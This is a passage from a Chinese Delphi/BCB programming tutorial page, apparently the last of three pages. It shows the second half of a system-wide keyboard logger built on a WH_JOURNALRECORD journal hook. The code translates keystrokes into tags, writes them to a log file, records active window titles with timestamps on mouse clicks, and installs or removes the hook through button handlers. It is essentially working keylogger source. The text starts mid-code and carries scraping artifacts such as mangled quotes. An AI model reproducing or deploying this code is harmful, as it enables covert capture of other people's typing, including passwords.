打印本文 打印本文 关闭窗口 关闭窗口
用日志钩子来实现键盘钩子功能之delphi/bcb版本
作者:武汉SEO闵涛  文章来源:敏韬网  点击数3207  更新时间:2009/4/23 18:26:22  文章录入:mintao  责任编辑:mintao
bsp;             strcopy(str,''''[PD]'''');
            end;
          35:
            begin
              strcopy(str,''''[END]'''');
            end;
          36:
            begin
              strcopy(str,''''[HOME]'''');
            end;
          37:
            begin
              strcopy(str,''''[LF]'''');
            end;
          38:
            begin
              strcopy(str,''''[UF]'''');
            end;
          39:
            begin
              strcopy(str,''''[RF]'''');
            end;
          40:
            begin
              strcopy(str,''''[DF]'''');
            end;
          45:
            begin
              strcopy(str,''''[INS]'''');
            end;
          46:
            begin
              strcopy(str,''''[DEL]'''');
            end
          else
            ch:=''''n'''' ;
        end;

        if (ch<>''''n'''') then begin
          if (g_PrvChar <> chr(vKey)) then begin
            write(txt,str);
            g_PrvChar:= chr(vKey);
          end;
        end;
      end;

    end;

    if (evt^.message=WM_LBUTTONDOWN) or (evt^.message=WM_RBUTTONDOWN) then begin
      hFocus := GetActiveWindow();
      if (g_hLastFocus<>hFocus) then begin
        g_hLastFocus := hFocus;
        GetWindowText(hFocus,szTitle,256);
        strcopy(szTime,Pchar(DateTimeToStr(now)));
        write(txt,#10,szTime,#32,#32,szTitle);
        write(txt,#32,#32);
      end;
    end;

    CloseFile(txt);
    result := CallNextHookEx(g_hLogHook,iCode,wParam,lParam);
  end;
end;


procedure TForm1.Button1Click(Sender: TObject);
begin
  if g_hLogHook=0 then begin
    g_hLogHook := SetWindowsHookEx(WH_JOURNALRECORD,JournalLogProc,HInstance,0);
  end;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
  if g_hLogHook<>0 then begin
    UnhookWindowsHookEx(g_hLogHook);
    g_hLogHook:= 0;
  end;
end;

end. 

上一页  [1] [2] [3] 

打印本文 打印本文 关闭窗口 关闭窗口